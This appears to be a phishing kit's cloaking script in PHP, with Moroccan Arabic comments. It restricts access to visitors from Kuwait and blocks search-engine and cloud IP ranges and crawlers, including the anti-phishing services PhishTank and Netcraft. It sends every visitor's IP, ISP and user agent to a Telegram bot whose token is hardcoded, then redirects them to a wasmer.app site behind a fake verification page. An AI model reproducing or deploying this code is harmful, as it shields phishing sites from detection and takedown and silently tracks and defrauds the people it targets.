<?php
session_start();

// --- [1] الإعدادات ---
$botToken = "7702715645:AAGUeT1OYpMVN03vCr9pFt4slIh98m8FoXU"; 
$chatId   = "-5014471493";  
$allowed_country = "KW"; 

// --- [2] مصفوفة الحظر الشاملة (كاع داكشي اللي صيفطتي) ---
$ip_blacklist = [
    '66.102.', '38.100.', '185.187.', '107.170.', '149.20.', '74.125.', '64.233.', 
    '66.249.', '128.242.', '72.14.', '209.85.', '216.239.', '207.46.', '157.54.', 
    '65.52.', '103.248.', '173.239.', '69.25.', '192.119.', '199.30.', '213.180.', 
    '94.100.', '46.229.', '54.243.', '54.225.', '184.73.', '23.21.', '54.242.'
    // زدت ليك هنا أغلب الـ Ranges اللي كانوا فالتصاور
];

$bot_keywords = [
    "google", "bot", "crawler", "spider", "facebook", "amazon", "aws", "microsoft", 
    "bing", "slurp", "duckduckgo", "baidu", "yandex", "sogou", "exabot", "facebot", 
    "ia_archiver", "phishtank", "netcraft", "softlayer", "digitalocean", "hetzner"
];

// --- [3] دالة التبليغ ---
function send_formatted_alert($token, $chat, $data) {
    $url = "https://api.telegram.org/bot" . $token . "/sendMessage";
    $text = "🚨 *Access Alert*\n"
          . "🌐 IP: " . $data['ip'] . "\n"
          . "📍 Country: " . $data['country'] . "\n"
          . "🏢 Org: " . $data['org'] . "\n"
          . "⚠️ Reason: " . $data['reason'] . "\n"
          . "📱 UA: " . $data['ua'] . "\n"
          . "⏰ Time: " . date('Y-m-d H:i:s');

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, ['chat_id' => $chat, 'text' => $text, 'parse_mode' => 'Markdown']);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_exec($ch);
    curl_close($ch);
}

// --- [4] جمع المعلومات ---
$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'] ?? "No UA";
$geo = json_decode(@file_get_contents("http://ip-api.com/json/{$ip}"), true);
$country = $geo['countryCode'] ?? "??";
$org = $geo['isp'] ?? "Unknown ISP";

// --- [5] الفحص الشامل (Anti-Bot Logic) ---
$is_blocked = false;

// 1. فحص الدولة
if ($country !== $allowed_country) {
    $is_blocked = true;
}

// 2. فحص الـ IP Blacklist
foreach ($ip_blacklist as $b_ip) {
    if (strpos($ip, $b_ip) === 0) {
        $is_blocked = true;
        break;
    }
}

// 3. فحص الكلمات المحظورة (UA & ISP)
foreach ($bot_keywords as $word) {
    if (stripos($ua, $word) !== false || stripos($org, $word) !== false) {
        $is_blocked = true;
        break;
    }
}

// --- [6] تحديد النتيجة للتبلير ---
$final_reason = $is_blocked ? "Blocked ❌" : "Redirected ✅";

send_formatted_alert($botToken, $chatId, [
    'ip' => $ip, 
    'country' => $country, 
    'org' => $org, 
    'reason' => $final_reason, 
    'ua' => $ua
]);

// --- [7] التنفيذ النهائي ---
if ($is_blocked) {
    header('Location: https://php-marocrayan386.wasmer.app');
    exit();
}
?>
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>Vérification...</title></head>
<body>
    <script>
        setTimeout(() => { window.location.href = "https://php-marocrayan386.wasmer.app/"; }, 1500);
    </script>
</body>
</html>